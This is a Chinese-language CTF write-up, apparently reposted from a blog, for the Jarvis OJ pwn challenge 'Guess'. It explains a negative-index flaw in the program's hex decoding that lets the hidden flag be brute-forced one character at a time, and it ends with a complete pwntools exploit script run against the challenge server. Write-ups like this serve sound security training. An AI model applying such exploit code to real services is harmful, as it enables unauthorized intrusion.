(Jarvis Oj)(Pwn) Guess

(Jarvis Oj)(Pwn) Guess

查看保护。没开什么保护。
这里写图片描述
丢到ida中查看程序逻辑。前面不用看,找到handle函数。
这里写图片描述
可以看到输入是用fget函数处理的,限制了输入的长度,所以不好溢出。再看看flag_correct( )函数。
这里写图片描述
在nc连远程服务器的时候也提示说,要将flag先encode成hex,所以50个字符的flag就成了100个字符,程序首先判断长度是否是100,然后在栈上给flag这个数组赋值,然后取出用户输入,每两位进行decode变为一个字符,最后和flag数组进行比较。注意到栈的布局。
这里写图片描述
flag的地址是bin_by_hex+0x40,程序中又通过bin_by_hex这个数组取值,那么如果index为负数就会取到flag数组中的数,也就是flag,given_flag=value2+16 * value1,那么只要value1=0,value2=flag[-40]~flag[-1],那么得到的given_flag[i]就是flag,要使flag_hex[2 * i+1]是负数并不难,因为flag_hex是char型数组,当超过127时会变成负数,所以我们可以通过输入得到given_flag和flag一样,但是程序没有输出,无法知道given_flag的具体内容。按理说这程序是50个字符一起验证的,爆破不可行,但是我们可以得到given_flag就是flag,那么实际上我们可以控制其为一位一位验证,先让given_flag[1]~given_flag[49]是flag的内容,对given_flag[0]进行爆破,再逐次向后爆破。写得脚本。

  1 from pwn import *
  2 import string
  3 
  4 conn=remote('pwn.jarvisoj.com','9878')                                                                             
  5 e=ELF('./guess')
  6 conn.recvuntil('>')
  7 
  8 payload=""
  9 l=string.digits+'_{}'+string.ascii_lowercase+string.ascii_uppercase
 10 for i in range(50):
 11     payload+='0'
 12     payload+=chr(128+i+0x40)
 13 #print payload
 14 t=list(payload)
 15 flag=''
 16 for i in range(50):
 17     for j in l:
 18         t[i*2]=j.encode('hex')[0]
 19         t[2*i+1]=j.encode('hex')[1]
 20         conn.sendline(''.join(t))
 21         re=conn.recvline()
 22         if re.count('Yaaa'):
 23             flag+=j
 24             break
 25     print flag
 26 conn.interactive()

猜你喜欢

转载自blog.csdn.net/github_36788573/article/details/80719888